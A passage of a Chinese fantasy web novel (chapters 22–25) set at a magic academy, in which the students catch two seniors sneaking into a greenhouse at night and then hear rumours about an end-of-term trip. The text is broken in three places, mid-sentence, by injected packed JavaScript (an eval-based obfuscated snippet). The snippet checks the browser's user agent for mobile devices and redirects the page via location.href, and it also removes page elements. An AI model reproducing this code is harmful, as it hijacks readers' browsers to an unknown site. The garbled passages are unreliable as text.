格洛瑞亚看着似乎是陷入回忆的伊诺尔老师，刚想说什么。 “咔嚓” “谁？”伊诺尔老师反应迅速地把格洛瑞亚挡在身后，同时尽量压低声音，不影响玛莉安娜和菲莉尔捕捉冰原木虫。 僵持半晌，格洛瑞亚绕过挡在身前的伊诺尔老师，提灯的光影在温室恒常冷冻的土地上摇曳。 “果然是你们。” 格洛瑞亚把提灯举高，语气比温室里的空气还冷。 22. 第22章 温室上课 “这算私闯学院非公开教室，还是算夜游学院？”格洛瑞亚手里的提灯随着脚步慢悠悠地摇晃着，火光映照在两张写满了“心虚”的脸上。 “我有吓到你们吗？”格洛瑞亚的声音轻柔，她听得见目前这两人的心跳在自己出现的一瞬间突然变快。 卢洛伦德和埃利斯对视一眼，两人猛摇头。 笑话，夜游久了当然不会胆小，只是难得被抓住一次，两人有点更难得的心虚。 卢洛伦德的金发在火光下更加闪闪发亮了，此时更是恨不得把自己整个人塞进兜帽里全部藏起来；另一边的埃利斯倒是强撑着，理不直气也壮地试图从藏身的矮树后站起来，一个脚滑踩住了自己的斗篷，和卢洛伦德滚做一团。 “……我的草药！”伊诺尔老师的脸上写满了“心疼”二字，努力压低声音叫还在地上挣扎的两人快点起来。 真热闹。格洛瑞亚默默的想。 整个温室里突然显得生机勃勃，连温度都仿佛升高了不少。 当然。格洛瑞亚看着伊诺尔老师揪住两个男生的斗篷把两人拉远一些，忍不住又自己走远了一些。 也可能是伊诺尔老师的怒火点燃了温室。 格洛瑞亚伸手，把提灯递给已经解决完一窝木虫的玛莉安娜，顺便贴心地挡住菲莉尔的视线。 菲莉尔被挡住视线也不在意，掏出一块怀表看了看时间。 “还有四十分钟。”菲莉尔的怀表看起来并非是十分新颖的款式，却仍然闪闪发亮，看起来在使用的时候被保养的很好。 玛莉安娜一贯喜欢好看的东西，这块怀表款式古朴，指针跳动时声音清脆，她忍不住多看了几眼。 “……是我们家族传承下来的怀表。”菲莉尔的感知非常敏锐，玛莉安娜的视线还没收回去，整块怀表就大大方方地出现在了眼前。 格洛瑞亚原本在打量不远处的一颗几乎与自己身高齐平的浅白色花朵，此时转身顺畅地加入怀表鉴赏的队伍。 “谢谢！它真好看！”玛莉安娜一手抱着提灯，一手小心翼翼地接过怀表仔细翻看，还把怀表凑近自己和格洛瑞亚的耳边，仔细听了听走针时清脆的声音，很快就把怀表还了回去。 另一边，伊诺尔老师终于教训完两个擅闯温室的学生，带着人走了回来。 “……他们怎么在这？”玛莉安娜整个人后撤到格洛瑞亚背后，语气里满是不解。 格洛瑞亚的注意力还在那块怀表上，随口回答了玛莉安娜。 “跟踪吧，大概。” 听起来非常敷衍的回答招致了玛莉安娜在背后状似凶狠的一击。 “好了，还有大概……三十分钟左右，我们继续工作。这两位加入一起。”伊诺尔老师甩甩手，身后两个人影吓得一晃她也没在意，指了右手边的一条路，示意大家继续在温室里消灭木虫。 卢洛伦德和埃利斯不敢说半个字，只能偷偷在把两人狠狠教育一顿的老师背后你打我一下、我打你一下，幼稚得玛莉安娜都看不下去了。 菲莉尔更是直接加快速度，走到了伊诺尔老师身边，眼不见为净。 “……噗呲噗呲。”菲莉尔走到了前面不远处，格洛瑞亚和玛莉安娜慢悠悠跟在最后，时不时看看周围的奇形怪状、争奇斗艳的草药，就听见前面的两人发出了奇怪的声音，还朝着她们招手。 “我不是很想过去。”玛莉安娜眼神里写满了茫然与无奈。 “好巧，我也是。”格洛瑞亚在看附近还有没有小路可以绕过去。 很遗憾，鉴于格洛瑞亚对这座温室确实不熟悉，以及伊诺尔老师选择的都是温室内特意建造的、非常安全且直接的大路，并没有足够的道路可供格洛瑞亚选择并带着玛莉安娜离开。 见身后两人越走越慢，埃利斯先等不及了。 “嘿，小安娜，小瑞尔，你们怎么不理我……”埃利斯嘟嘟囔囔地凑近，和卢洛伦德一人一边把两个女孩夹在中间。 “因为没必要。”玛莉安娜翻了个巨大的白眼，努力压低声音，“你们俩绝对会因为夜游被抓这件事被上报然后扣分写检讨的！” 玛莉安娜恶狠狠地伸手比划了一下，示意两边非要凑上来的人离远点。 “我们只是进行了一场伟大的冒险而已。”另一边的卢洛伦德晃晃悠悠，看起来丝毫不认为自己夜游有什么问题，“很多人都会进行这种冒险啦，我们只是不小心被抓住了而已。” 说完，卢洛伦德和埃利斯在格洛瑞亚和玛莉安娜头顶默契地拍手。 “我觉得你们在嘲讽我的身高。”听着头顶一声脆响，格洛瑞亚幽幽地说。 “向森林女神起誓，我绝对没有这个意思。” 埃利斯憋笑的声音已经足够响亮，卢洛伦德更是忍得斗篷沙沙作响。 “你们聊得很开心啊？”伊诺尔老师站在前方不远处，一双在黑夜里仿佛在发光的眼睛盯得玛莉安娜不自觉抖了抖，快步走上前去和菲莉尔开始今日课程。 卢洛伦德和埃利斯齐刷刷退后三步，自觉地结伴朝略远处的一点木虫痕迹走去。 一时间只有格洛瑞亚站在原地。 “他们为什么会跟上来？”伊诺尔老师不知道什么时候来到格洛瑞亚身边，特意压低身体凑近说。 格洛瑞亚没急着回答。 她觉得今天晚上有哪里不对。 视线扫过稍远处你给我一下、我给你一下的两个男性，又扫过身边还在等待自己回答的老师，再看了看不远处正努力配合着消灭木虫的玛莉安娜和菲莉尔。 “你们为什么都长那么高？” 菲莉尔虽然被斗篷盖得严严实实，但是整个人居然和玛莉安娜差不多高。 而格洛瑞亚和玛莉安娜已经从一开始的差不多高，变成了玛莉安娜高出半个头左右。 “……啊？”伊诺尔老师的耐心等待，换来了的反而是格洛瑞亚的疑问。 “你们，为什么都长那么高？”格洛瑞亚转回头，对视上了伊诺尔老师的眼睛。 伊诺尔一时间屏住了呼吸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383211|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >格洛瑞亚的眼睛太清太透，却无端让伊诺尔觉得寒冷。 “……也许是因为，我们有锻炼身体？”伊诺尔努力维持了一些教学者的尊严，站直了身体。 “有道理。”格洛瑞亚想了想最近自己看的乱七八糟的书籍，点点头认同。 一时间，温室里只能听见轻微的沙沙声。 “不知道他们有什么目的。”格洛瑞亚看两组消灭木虫的行动都基本接近尾声，突然回答了伊诺尔最开始的问题。 “但是，不是你故意放他们跟在身后的吗？” 伊诺尔又一次觉得自己失去了呼吸。 “……我，我不是……” “嗯，我不会说出去的。”格洛瑞亚把提灯拿出来，准备走上前迎接玛莉安娜，顺便把灯调得暖一些好让玛莉安娜尽快暖和起来。 “毕竟这不是什么重要的事情。”格洛瑞亚刚准备走上前，仿佛想起来什么一样，努力扯出一个微笑。 “我宽恕你们的冒犯。” 伊诺尔觉得自己的灵魂都在颤抖。 “瑞尔！”玛莉安娜挥舞着手里的一根仿佛在发光的白色枝干，小臂长的一根细枝快被晃出残影，“你看，是不是你之前在书上看到的那种水晶木！” “不是哦，只是一根发光白香木而已。”格洛瑞亚刚要接过，另一边又凑上来的埃利斯就大咧咧的开口。 真的是……卢洛伦德一把拽住还准备走得更近一些的埃利斯带走到伊诺尔身边，抬手示意格洛瑞亚不要生气。 “……真的不是吗？”玛莉安娜看着卢洛伦德和埃利斯仿佛演了一出默剧，还是坚持继续问了下去。 格洛瑞亚点点头。 玛莉安娜肉眼可见的沮丧了一下。 “没关系，可以做很好看的装饰，而且很香。”格洛瑞亚接过那根树枝，用力甩了甩。 玛莉安娜顿时觉得周围确实出现了好闻的香味。 “是偏木头的香味。”伊诺尔的声音在两人背后由远至近，斗篷与草地摩擦的声音倒是一直不停。 “你们要带走吗？”伊诺尔在身后指了指温室另一边，“那边有味道不一样的，下次玛莉安娜再上课，可以去那边再捡一些。” 格洛瑞亚没说话，玛莉安娜就兴奋地一口答应了下来。 不知道为什么，玛莉安娜觉得伊诺尔老师悄悄松了一口气的样子。 错觉吧。玛莉安娜摇摇头，觉得自己可能因为人生第一次熬夜上课所以困得有些不正常了。 “我们也想要！”埃利斯不知道什么时候挣脱了卢洛伦德的手，已经跑到了玛莉安娜旁边。 卢洛伦德在格洛瑞亚猛然扭过头的视线里摊手，示意自己实在拦不住。 “……学长。”玛莉安娜幽幽看向自己身侧，埃利斯看起来满心满眼只有那根光滑的香木。 “您真的是狐狸吗？我的意思是……真的没什么其他的可能性吗？” 玛莉安娜努力措辞的委婉的话语，得到了格洛瑞亚一抹压抑不住的微笑。 23.第23章 同学们，下课了 剩下的十几分钟课程时间，伊诺尔老师带着四个学生像是观光一样从温室中走出去。 “埃利斯，你送菲莉尔回宿舍楼。”伊诺尔老师充分了解菲莉尔的情况，只是无论如何不能让菲莉尔自己一个人回去。 伊诺尔又稍稍犹豫一下，“格洛瑞亚和玛莉安娜的话，我和卢洛伦德送你们回去。” “保证完成任务。”埃利斯活泼地原地蹦跶了几下，对菲莉尔摆出了一个“请”的手势。 菲莉尔看起来不是很想理埃利斯，也不是很想让人和自己一起回宿舍。 “抱歉，我能让埃利斯学长送我们回去吗？” 出乎所有人预料的，格洛瑞亚开口阻拦了已经转身准备离开的两人。 卢洛伦德转头看了看伊诺尔，耸耸肩示意自己不在意。 伊诺尔看了看搞不清状况的玛莉安娜，又看了看异常坚定的格洛瑞亚，只能同意。 “乐意效劳。”埃利斯看起来比刚才活泼一些，卢洛伦德好笑地拍了拍他的肩膀。 “那我们就在这分开吧。”走到温室外第一个岔路口，伊诺尔主动提出分开。 “走吧，一会宿舍见。”卢洛伦德和埃利斯碰拳。 六个人分两组回寝室，另一组怎么样玛莉安娜不知道，她只知道她目前所在的这组气氛过于诡异了。 已经走到了熟悉的白楼附近，三个人一句话都没说。 玛莉安娜觉得自己目前活了十二年即将十三年的人生里没有这么安静的时刻。 于是她准备做点什么打破这份安静。 “话说……”格洛瑞亚在玛莉安娜准备开口的一瞬间开口。 玛莉安娜被自己噎了一下，咳得撕心裂肺。 咳嗽声打破了过分安静的夜晚，也让格洛瑞亚和埃利斯慌乱了一瞬。 在两人手忙脚乱一个拍背一个乱转的时候，玛莉安娜努力摆手示意自己没事。 “……咳咳，我只是……咳，想说句话……咳咳，说句话而已……” 格洛瑞亚不放心地又拍了拍，得到了玛莉安娜一个安抚的微笑。 “所以，你们俩想说什么？”埃利斯看玛莉安娜逐渐平复了呼吸，好笑地问。 格洛瑞亚眼神示意玛莉安娜先说。 “我就是觉得，太安静了。”玛莉安娜的声音还带着剧烈咳嗽过的沙哑，手指依次指了指自己在内的三人，“显得我们很尴尬，像不认识一样。” 玛莉安娜终于说完了，开始继续深呼吸。 她觉得自己今天晚上可能需要多喝一点水了。 “我只是有点不知道该说什么。”埃利斯也学着玛莉安娜的样子指了指自己在内的三人，无奈地摊手，“毕竟正常情况下，十五分钟以内我俩应该就开始准备切磋了。” 埃利斯甚至还有心情开个玩笑。 “瑞尔想说什么？”听完埃利斯的话，玛莉安娜果断转头。 “我只是想问……”格洛瑞亚不紧不慢地又拍了拍玛莉安娜的后背，示意玛莉安娜不要再说话了，“埃利斯学长……” “你的狐狸耳朵呢？” · “所以……格洛瑞亚和你说什么了？” 卢洛伦德看着菲莉尔逐渐消失在宿舍门口的身影，好心情地冲着已经消失的人影挥挥手算作告别，转身看向沉默了一路的伊诺尔。 “……她发现我一直默认你们两个跟着了。”伊诺尔叹了口气，一五一十地和卢洛伦德说出了格洛瑞亚和自己的对话。 “这次的校外实践活动，您……你还跟着去吗？” 伊诺尔递上一份羊皮纸卷，卢洛伦德接过，也没说去还是不去。 伊诺尔也不再继续问，只是等着卢洛伦德继续思考格洛瑞亚的几句话究竟是什么用意。 半晌，卢洛伦德笑了。 “看来是要被发现了。”卢洛伦德脸上笑容不变，伊诺尔倒是忍不住打了个寒战。 “真的没问题吗？我是说……” 伊诺尔几乎是忧心忡忡地看着潇洒转身准备回宿舍休息的卢洛伦德。 “和我有什么关系呢？”卢洛伦德自在的转身离开，留下伊诺尔仍然担忧地站在原地。 “我只是个夜游学院温室，不小心被抓住的学生而已啊。” · 埃利斯巨大声地叹气，非常用力地叹气，看起来似乎是完全被格洛瑞亚和玛莉安娜伤透了心。 “我以为你们会在看到我的第一眼就问这件事的。”埃利斯继续摇头，努力让整个氛围显得更加悲伤，“没想到啊没想到……” “你们居然只是在快回去的时候才问我！明明你们第一眼看见我的时候就是在看我的耳朵！” 埃利斯看起来整只狐狸都不太好了，只是这样也没有让自己的耳朵出现在头上。 “怪不得我觉得今天两位学长看起来有点不一样。”玛莉安娜在一旁呆呆地说。 玛莉安娜还带着些许嘶哑的声音让格洛瑞亚不自觉地皱眉，看了看一旁的埃利斯，伸手捏了捏玛莉安娜垂在身侧的手。 玛莉安娜摆手示意自己不会再说话了。 “因为我要换毛。”埃利斯的声音听起来更加萎靡不振了，他甩了甩头让自己的发丝飞扬起来，“换毛的时候真的很丑……而且会掉毛……我的耳朵……” 玛莉安娜因为不被允许说话，只能默默拍了拍格洛瑞亚的手背。 “我也觉得还是走吧……”格洛瑞亚默默转身，和玛莉安娜一起拒绝继续观看学长的戏精发作。 “别走啊等等我……”埃利斯还在原地哀悼自己掉的毛发，余光看到格洛瑞亚和玛莉安娜已经快速走出了不远的距离，赶紧跟上去。 “我和休今天夜游也是想看看有没有成熟的草药能采摘回去制药。不知道为什么，休最近做各种药剂总是失败，材料都要耗空了……”埃利斯跟在后面念叨着，也不管格洛瑞亚和玛莉安娜听没听到，在不在意。 走回宿舍的一路上，格洛瑞亚和玛莉安娜听完了卢洛伦德和埃利斯甚至还有奥罗拉这一周几乎所有的大事小情。 玛莉安娜如果不是被格洛瑞亚压着不许说话，几乎都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15394068|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要跳起来和埃利斯打一架了。 大晚上的又困又烦，玛莉安娜内心烦躁，只想早点回去睡觉。 “到了，谢谢学长。”前方隐隐约约看得见宿舍楼大门，格洛瑞亚和玛莉安娜迫不及待地甩下一句话，背影堪称潇洒地冲向了宿舍楼。 只能看着两道背影越来越远的埃利斯甩甩头发，甩到一半顿住了，挠挠头，揪下来一撮脱落的毛发。 “晚安。”埃利斯扔掉那撮毛发，也学着两人潇洒的样子，转身回自己的宿舍。 他可还记得卢洛伦德说宿舍见的话，也不知道今天晚上两个人偷偷摸摸捡的材料够不够继续熬一锅药剂出来。 终于回到宿舍的格洛瑞亚把玛莉安娜摁在椅子上，举起了一大杯温水。 “喝。”简洁明了的短句，玛莉安娜咕咚咕咚喝了大半杯。 “咳咳……我觉得我真的没事了……”玛莉安娜清了清嗓子，清脆的声音里终于是不见沙哑了。 “准备休息吧。”沉默地盯着玛莉安娜喝完了水，又听了听玛莉安娜的声音确实不再嘶哑，格洛瑞亚点点头，准备和玛莉安娜互道晚安。 倒是玛莉安娜犹豫了一下，拽住了准备离开的格洛瑞亚。 “……那个，咳……我就是想说，你和伊诺尔老师，没事吧？”玛莉安娜指了指自己的脸，做了个瞪大眼睛的惊讶表情，“我看到伊诺尔老师有那么一会脸都白了，你们……” “没事。”格洛瑞亚非常冷静地否认自己和伊诺尔老师之间是否有着玛莉安娜担心的情况，“我只是，在求情，希望不要有太大的惩罚落到学长他们头上。” “哦哦，那就行。”玛莉安娜顺畅地接受了格洛瑞亚的说辞，又犹豫了一下，在格洛瑞亚平静地注视下继续说。 “我觉得，卢洛伦德学长他们，是不是哪里不太对啊？” 玛莉安娜说得犹豫，格洛瑞亚倒是有点意料之外的惊讶。 “你觉得卢洛伦德和埃利斯不对劲？” 格洛瑞亚干脆拉着玛莉安娜坐在地毯上，看着玛莉安娜皱着眉头继续措辞。 “我就是觉得，不对劲。但是哪里不对劲又说不上来。”玛莉安娜努力想抓住那一丝灵感，却又不得不承认灵感转瞬即逝。 “确实不对劲。”格洛瑞亚肯定了玛莉安娜的想法。 “他们高年级的学生，夜游去冒险不好吗？来温室采摘材料也不至于要晚上偷偷来，可以向温室的负责人申请。”格洛瑞亚不紧不慢地继续说，“更何况……” 格洛瑞亚掏出一份之前选课时的资料，上面密密麻麻的课程和人名是一份曾经选过这门课、目前愿意帮助其他人了解基础课程的对应名单。 “卢洛伦德的名字本来就在上半年温室自由出入的名单上。这个名单还是报名选课的时候，安塔莉给我们的参考名单。” “哇，那他们干嘛要偷偷溜进温室啊？不过如果我们没有临时调整课程时间，他们是不是不会被抓住啊？” 玛莉安娜的问题，只得到了格洛瑞亚的微笑。 谁知道呢？ 24.第24章 准备校外实践 玛莉安娜入睡之前还在想，自己今晚这样辛苦上完课还不能好好休息，是不是又会在梦里看见了什么不应该看见的过去。 格洛瑞亚很认真地表示如果玛莉安娜真的非常担心自己看见什么不想知道的，可以灌一份无梦药剂下去，保证能管一夜无梦安眠。 玛莉安娜严词拒绝，并迅速把自己藏进了温暖的被窝深处。 格洛瑞亚不太遗憾地收好了无梦药剂·三天前课堂自制版。 第二天早上起床的时候，玛莉安娜洗漱完毕，一脸严肃地看着镜子里的自己脸上巨大的黑眼圈，非常庆幸还有一个多月就是学期末，这门需要熬夜的课程一周也只有一次。 “我进来了。”格洛瑞亚敲敲门，也不等玛莉安娜应声，推开宿舍门就被玛莉安娜的视线钉在了原地。 玛莉安娜看着可以称得上容光焕发的格洛瑞亚，深深的吸了一口气。 “瑞尔。”玛莉安娜双手搭住格洛瑞亚的肩膀，恶狠狠地对视上那双干净的紫色眼睛。 “非人类人型生物都是这么好体力吗？你都不会累的吗？” 玛莉安娜抓住格洛瑞亚，用力摇晃。 格洛瑞亚努力保持平衡，认真思考，然后点头。 “是的，至少目前来说我的体力和精神都还不错。” “……”玛莉安娜回忆了一下格洛瑞亚没课的时候可以在学院图书馆里捧着大部头从头看到尾，深深地表达了自己的难过。 “我决定今天和你绝交一上午。” “不行，今天魔纹雕刻的课程我们是一组。” 格洛瑞亚真诚地指了指被玛莉安娜遗忘在书桌上的雕刻小刀。 “……谢谢，真的。” 玛莉安娜一脸麻木地装好刀，然后用力塞进书包深处。 “我要吃一整份蓝奶酪套餐当早餐。” “……那你可能得在三分钟之内到达食堂。” 格洛瑞亚探头出去，看了看宿舍走廊尽头的坐地钟。 玛莉安娜哀嚎一声，飞一般冲出了门。 格洛瑞亚丝毫不慌，安稳地让开路好让玛莉安娜不会撞上自己，又拿上玛莉安娜再次遗忘的水杯，锁好了两扇宿舍门，准备去食堂吃早餐。 格洛瑞亚在食堂的西北角的一张桌子旁边找到了已经开始吃早餐的玛莉安娜。 “是半熟蛋，谢谢玛莉安娜。” 格洛瑞亚毫不意外的在桌子上看到了两份早餐。 仔细看了看明显是玛莉安娜飞快地跑到了食堂，拿好自己的早餐后特意挑选的一份早餐，格洛瑞亚主动开口。 “哼。”玛莉安娜恶狠狠地咬了一口蓝奶酪，只是哼了一声回应格洛瑞亚。 格洛瑞亚非常习惯玛莉安娜时不时的小傲娇，也不多在意，一样认真地开始吃自己的早餐。 “明天……” “想吃蛋奶饼。” 格洛瑞亚毫不犹豫地点餐。 玛莉安娜打了个响指，示意没问题。 格洛瑞亚递过水杯，玛莉安娜震惊地翻开了自己的书包，然后不得不承认自己确实忘记了水杯。 “所以还要一碗白沙拉。” 格洛瑞亚看着玛莉安娜把水杯装好，眨眨眼继续点餐。 玛莉安娜掩面点头。 两人达成协议，愉快地站起身手拉手准备爬白塔的长台阶去上课。 “……你说，我们一直坐在这里……为什么她们两个好像看不见我们一样。” 一直坐在不远处的奥罗拉放下手里的杯子，看向坐在对面，异常认真地撕咬着面包但难掩心虚的埃利斯。 作为四年多的同学和曾经的玩伴，奥罗拉非常明白埃利斯此时此刻的表情代表什么。 “亲爱的埃利斯。”奥罗拉粲然一笑，埃利斯看起来更加心虚地低了低头，“你能告诉我为什么吗？” “……咳，那个，就是……我们……”埃利斯唯唯诺诺、扭扭捏捏，声音低得在吵闹的食堂里几乎听不见。 “说。”女性清脆的声音几乎称得上掷地有声，埃利斯一个激灵坐直了身体。 “就是，我……我和休……”埃利斯眼神乱晃，努力寻找一条生路。 奥罗拉看着还在努力隐瞒的埃利斯，笑得更加灿烂了。 “或者你给我解释一下……”她抬起手指了指自己和埃利斯，“卢洛伦德去哪里了？” 埃利斯控制不住吞咽了一下，扯出了一抹惨淡的微笑。 “那个，事情是这样的……” 埃利斯花了十分钟左右向奥罗拉解释了自己和卢洛伦德此人带去夜游然后被抓住，期间八分钟在表达自己的无辜以及难过，顺便不忘暗戳戳表达自己对目前被卢洛伦德抛弃的愤怒。 “你不用这么看着我。”奥罗拉举起杯子喝完最后一滴果汁，看着对面皱着脸的埃利斯，轻轻敲了敲眼前的桌子，“我又管不住我们亲爱的卢洛伦德先生，我只要确保你们两个不要在学院真的做出点什么大事情就行了。” “那你要……”埃利斯小心翼翼地看向整理餐具的奥罗拉，更加小心翼翼地提问。 奥罗拉利落地站起身，没留给还缩在桌子前的埃利斯一个眼神。 “我去找我们亲爱的卢洛伦德先生，聊聊天。” 埃利斯合十双手，祈祷今天晚上还能在宿舍里看见完整的卢洛伦德同学。 另一边，已经走到白塔附近的玛莉安娜不动声色地看了看身后，从牙缝里挤出自己的问题。 “我们这样无视奥罗拉真的没问题吗？我明天不会被奥罗拉拉练到废掉吧？” 格洛瑞亚同样从牙缝里挤出自己的回答。 “不会，奥罗拉学姐绝对不会迁怒你的。” “我们为什么要这样说话？”又走了几步，玛莉安娜接着从牙缝里飘出一句疑问。 格洛瑞亚疑惑地看回去：“因为你在这样说话。” 玛莉安娜嘿嘿一笑：“我们上课了，上课了，哈哈……” 玛莉安娜一个箭步冲进教室，直接坐到自己的座位上，开始学习。 格洛瑞亚看着埋头学习的玛莉安娜，也只能坐到自己的座位上翻开了书。 “哟，早上好啊玛莉安娜！”安塔莉大大咧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400000|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咧地坐在了玛莉安娜旁边的座位上，笑容比以往更加灿烂。 玛莉安娜坚决不抬头，只含糊地和安塔莉道了句早上好。 安塔莉也不在意玛莉安娜的动作，她悄悄朝周围看了看，教室里人数不多，她干脆就把椅子转了半圈，又朝一直抬头看着她和玛莉安娜交流的格洛瑞亚招招手。 格洛瑞亚拉过来一把椅子坐定，玛莉安娜也终于从眼前的书里抬起了头。 “我有一个提前知道的消息。”安塔莉脸上的笑容异常灿烂，配上那一头短短的红发，格洛瑞亚无端感觉周围的温度都高了不少。 安塔莉招招手，示意格洛瑞亚再凑近一些。 “你们猜猜我的消息关于什么？”安塔莉神神秘秘地压低声音，努力压抑着声音里的兴奋。 玛莉安娜立刻转头看向格洛瑞亚。 “有关期末的那场实践。”格洛瑞亚甚至不是猜测，异常肯定地说。 安塔莉立刻泄气了。 “你明年报占卜课吗？我觉得那位教授会爱死你的。”安塔莉撑住脸，觉得自己试图和格洛瑞亚玩一手猜一猜的想法异常错误。 “不报占卜，我不喜欢窥视未来。”出乎安塔莉预料，格洛瑞亚反而认真地回答了她的玩笑话。 “额……也不用这么认真，我开个玩笑……”安塔莉愣了愣，胡乱摸了摸自己的头发，转头就对上了玛莉安娜期待的目光。 “期末实践，安塔莉亲爱的，快快快。“玛莉安娜迫不及待地催促，在她看来这是最近最能让她激动的事情了。 毕竟做完期末实践，就意味着这个学期到了末尾，她就可以和格洛瑞亚快快乐乐地回家享受休假了。 “别急，别急，消息还不完全，但是很让人激动。”安塔莉说着，抽出了一把随身携带的小刀。 小刀不长，大概只有匕首长短，安塔莉拿着这把小刀在不出鞘的情况下给玛莉安娜演示过非常实用且好看的战斗技巧。 “我们今年要去佐洛琳城。”安塔莉也不多卖关子，指了指自己手里的小刀，“据说学院邀请了一位矮人族的工匠大师，现场指导我们锻造。这位大师还带了不少矮人族的同伴，甚至可以以物易物。” 玛莉安娜在安塔莉说完之后，等了等，又等了等。 “然后呢？”玛莉安娜茫然地提问，“我们知道了战士修习的实践，那么瑞尔他们呢？” 安塔莉哼笑一声。 “实际上这才是最重磅的消息。”安塔莉示意格洛瑞亚和玛莉安娜再凑近一些，她要说出一个惊天动地的消息了。 “今年不只在城内，据说有什么秘密的一个家族被学院邀请出来做指导，保证每个人都能有一份完美的基础武器材料。”安塔莉神神秘秘地压低嗓音，说着说着还抓住了格洛瑞亚放在膝盖上支撑的手臂。 格洛瑞亚费了好大的力气才没一把挥开。 “而且……据说这个家族魔法造诣非常高，如果有人能被这个家族肯定一份某方面的天赋，那就……你们懂哦？” 安塔莉笑嘻嘻地说完，伊诺尔老师也恰巧出现在了教室门口。 25.第25章 来点小道消息 伊诺尔一进教室门，就看见教室后面鬼鬼祟祟凑在一起的三个脑袋。 也没有什么其他的理由，安塔莉的红发和格洛瑞亚的银发放在一起确实够显眼。 伊诺尔忘不掉四号温室里，格洛瑞亚投过来的毫无感情的一眼。 但是，格洛瑞亚没有采取任何行动，只是一个几乎微不足道的警告。 格洛瑞亚同样注意到了伊诺尔站在教室前方，也感受到了伊诺尔看过来的饱含了复杂情绪的视线。 “伊诺尔老师来了。”格洛瑞亚不在乎谁在看自己，只是伊诺尔的视线确实无法让人忽视。 安塔莉猛地抬头，对上了满脸复杂的伊诺尔老师。 对着玛莉安娜和格洛瑞亚做了个鬼脸，安塔莉赶紧一路小跑着去到了伊诺尔老师的身边。 “在聊什么小道消息？”伊诺尔顺手递过去一叠羊皮纸，看着安塔莉略微心虚的神情。 “没……就，期末……”安塔莉小声地回答，头埋得更低了。 伊诺尔安静地注视着面前难得显出几分乖巧的安塔莉，笑了。 “你说了今年你会和她们一起去了吗？” 伊诺尔老师的声音很柔和，这让安塔莉略微松了一口气。 至少老师没有生气我随便和同学透露消息…… 安塔莉又反应了一会，震惊地抬头看向微笑着的伊诺尔老师。 “那个……”安塔莉脑子有点乱，所以说话也异常直白，“老师没生气啊……” “你现在不说，你们也会在出发的时候见到的。”伊诺尔说完，隔空点了点已经在安塔莉怀里的那叠羊皮纸，“记得发给你们几个要一起去佐洛琳城的同学，然后尽量提前交回来。” 安塔莉快乐地抱着那一叠羊皮纸跑出了教室。 一直坐在教室后面，看着安塔莉和伊诺尔老师交流的玛莉安娜目瞪口呆。 “瑞尔。”玛莉安娜茫然地提问，“安塔莉怎么突然心虚了？” 又看着安塔莉雀跃地跑出了教室，玛莉安娜更茫然了。 “安塔莉怎么突然……” “大概是，因为和我们说了点提前的消息吧。”格洛瑞亚翻了翻玛莉安娜的书，突然坐直了一些。 又翻开一页书，格洛瑞亚突然抽过一支羽毛笔，飞快地在翻开的一页上书写了些什么。 “……我的书。”玛莉安娜无奈地看着明显是想到了什么的格洛瑞亚，被迫选择贡献自己的书。 “但是为什么安塔莉要抱着那些羊皮纸出去？她又要送这些东西去给谁啊？” 玛莉安娜坚持地表达着自己的疑问，可惜从现实来说格洛瑞亚暂时没空和玛莉安娜一起研究安塔莉的行为原因。 格洛瑞亚埋头在书上写了几行，才有空抬头看了看玛莉安娜。 玛莉安娜无奈地撑住头，看着格洛瑞亚的大眼睛。 一双蓝色的大眼睛对着一双浅紫色的大眼睛，最后是玛莉安娜先撑不住了。 “行，你继续写。”玛莉安娜摊摊手，示意格洛瑞亚继续。 “我还是感觉安塔莉好像说了点不对劲的话。”玛莉安娜摸着自己的下巴，觉得自己好像又抓住了什么灵光一闪的突破点，只是暂时那点灵感还没有完全出现。 当然，玛莉安娜也没打算放弃自己的疑问，她知道格洛瑞亚一定会回答她，只是需要一点时间。 格洛瑞亚习惯把自己的事情做完，再去参与更多感兴趣的事情。 “你喜欢什么颜色。”格洛瑞亚却是没继续写，反而问了一个让玛莉安娜摸不着头脑的问题。 “……浅一些的颜色？”玛莉安娜犹豫地说，很明显这个问题过于突然，且不好回答，毕竟玛莉安娜觉得自己什么颜色都很喜欢。 “那就……”格洛瑞亚准备继续下笔，却被玛莉安娜一把拦住。 “我要银色。”玛莉安娜理直气壮地要求，“银色如果不行，那就浅蓝色。” “好。”格洛瑞亚答应地非常干脆，然后在已经写完的几行字迹后迅速添了几笔。 然后把整本书推到玛莉安娜面前，伸出一根手指，在虚空中做了一个敲一敲的动作。 玛莉安娜快乐地轻轻敲了敲那片文字，哪怕她看不懂。 那些文字缓缓地消失在书页上，玛莉安娜看着原本自己写的课堂笔记从黑色变成了浅蓝色。 “哇，好看。”玛莉安娜欣赏了一会，一歪头，向格洛瑞亚表达了自己的疑惑。 “所以这个的意义是什么？” 